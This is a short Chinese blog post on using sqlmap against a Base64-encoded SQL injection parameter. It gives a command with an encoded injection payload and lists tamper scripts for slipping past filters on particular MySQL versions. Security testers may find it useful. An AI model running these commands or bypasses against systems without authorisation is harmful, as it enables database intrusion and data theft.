不小心删了，找快照才找到的。补回来。。。

上次遇到一个Base64的注入点，手工注入太麻烦，于是在网上看了一下sqlmap Base64注入的方法，如下：

sqlmap -u http://xxxx.com/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs

sqlmap拥有很多功能强力的插件，插件的使用方法： -- tamper “插件名称”

其中常用到的bypass脚本绕过SQLMAP主要两个脚本：
space2hash.py ，对于MYSQL数据库 4.0, 5.0注入
space2morehash.py ，对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入
首先确定目标数据库版本，然后选择相应的脚本。
-v 3 --batch --tamper "space2hash.py"
还有其他一些插件：
encodes编码 ——charencode.py
base64编码 —— base64encode.py
替换空格和关键字 —— halfversionedmorekeywords.py

最新文章

  1. CVTE实习求职经历
  2. .NET LINQ 限定符操作
  3. [CareerCup] 18.10 Word Transform 单词转换
  4. 关于基于.NET Framework的网络通信程序底层扫盲
  5. 开心菜鸟系列学习笔记－－－－－－javascript(5)
  6. Linux转发性能评估与优化-转发瓶颈分析与解决方式(补遗)
  7. 洛谷-哥德巴赫猜想（升级版）-BOSS战-入门综合练习1
  8. Surround the Trees（凸包）
  9. kettle基础概念的学习
  10. C# Task ContinueWith的实现
  11. JavaScript 运行机制详解：Event Loop
  12. Vue学习【第一篇】：Vue初识与指令
  13. 使用TestServer测试ASP.NET Core API
  14. 如何修改电脑的本地网卡（非笔记本无限网卡）的mac地址
  15. BZOJ 2668: [cqoi2012]交换棋子
  16. Codeforces Round #419 (Div. 2) B. Karen and Coffee（经典前缀和）
  17. 解决adb devices无法连接夜神模拟器
  18. 【STL基础】vector
  19. Maven实战（七，八）——经常使用Maven插件介绍
  20. IOS开发之简单计算器

热门文章

  1. java上转型和下转型（对象的多态性）
  2. 原生ajax实现http请求
  3. js 时间时间戳互换
  4. CSS vertical-align属性
  5. 最简单bat教程
  6. 使用Blender的UV映射制作一个地球
  7. angularjs 路由模块
  8. python3 selenium 登录操作
  9. 产品经理学Python：条件控制
  10. 高性能网站架构设计之缓存篇（1）- Redis C#客户端